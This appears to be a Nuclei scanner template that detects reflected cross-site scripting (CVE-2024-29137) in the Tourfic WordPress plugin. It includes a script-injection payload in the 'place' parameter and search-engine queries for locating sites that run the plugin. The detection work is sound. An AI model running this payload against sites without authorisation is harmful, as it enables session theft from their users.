Description
The Tourfic plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions up to and including 2.11.7 due to insufficient input sanitization and output escaping in the 'place' parameter.
The Tourfic plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions up to and including 2.11.7 due to insufficient input sanitization and output escaping in the 'place' parameter.
id: CVE-2024-29137
info:
name: WordPress Tourfic Plugin <= 2.11.7 - Cross-Site Scripting
author: Shivam Kamboj
severity: high
description: |
The Tourfic plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions up to and including 2.11.7 due to insufficient input sanitization and output escaping in the 'place' parameter.
impact: |
Attackers can execute malicious scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
remediation: |
Update to Tourfic version 2.11.8 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-29137
- https://patchstack.com/database/vulnerability/tourfic/wordpress-tourfic-plugin-2-11-7-reflected-cross-site-scripting-xss-vulnerability
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tourfic/tourfic-2117-reflected-cross-site-scripting
- https://wpscan.com/vulnerability/f93321c7-d4e3-470c-9fd9-8e65c2284c5d/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2024-29137
epss-score: 0.00617
epss-percentile: 0.47909
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: themefic
product: tourfic
framework: wordpress
publicwww-query: "/wp-content/plugins/tourfic/"
fofa-query: body="/wp-content/plugins/tourfic/"
tags: cve,cve2024,wordpress,wp-plugin,xss,tourfic,unauth,vkev,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- '{{BaseURL}}/index.php?rest_route=/wp/v2/pages&per_page=100'
extractors:
- type: regex
name: search_page_id
group: 1
regex:
- '"slug":"tf-search"[^}]*"link":"[^"]*page_id=(\d+)"'
internal: true
- method: GET
path:
- '{{BaseURL}}/?page_id={{search_page_id}}&type=tf_hotel&place=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&adults=2&children=1&room=1'
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "text/html")'
- 'contains(body, "><script>alert(document.domain)</script>")'
condition: and
# digest: 490a004630440220568af331bbb44cdb368394ef22610afd14eb1348fc6458a5b0e1f800ca9cc5b202200f97e52de9cad1de8ffc164f0beea4c567985ba68be9ad02e72ee03ca3273006:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.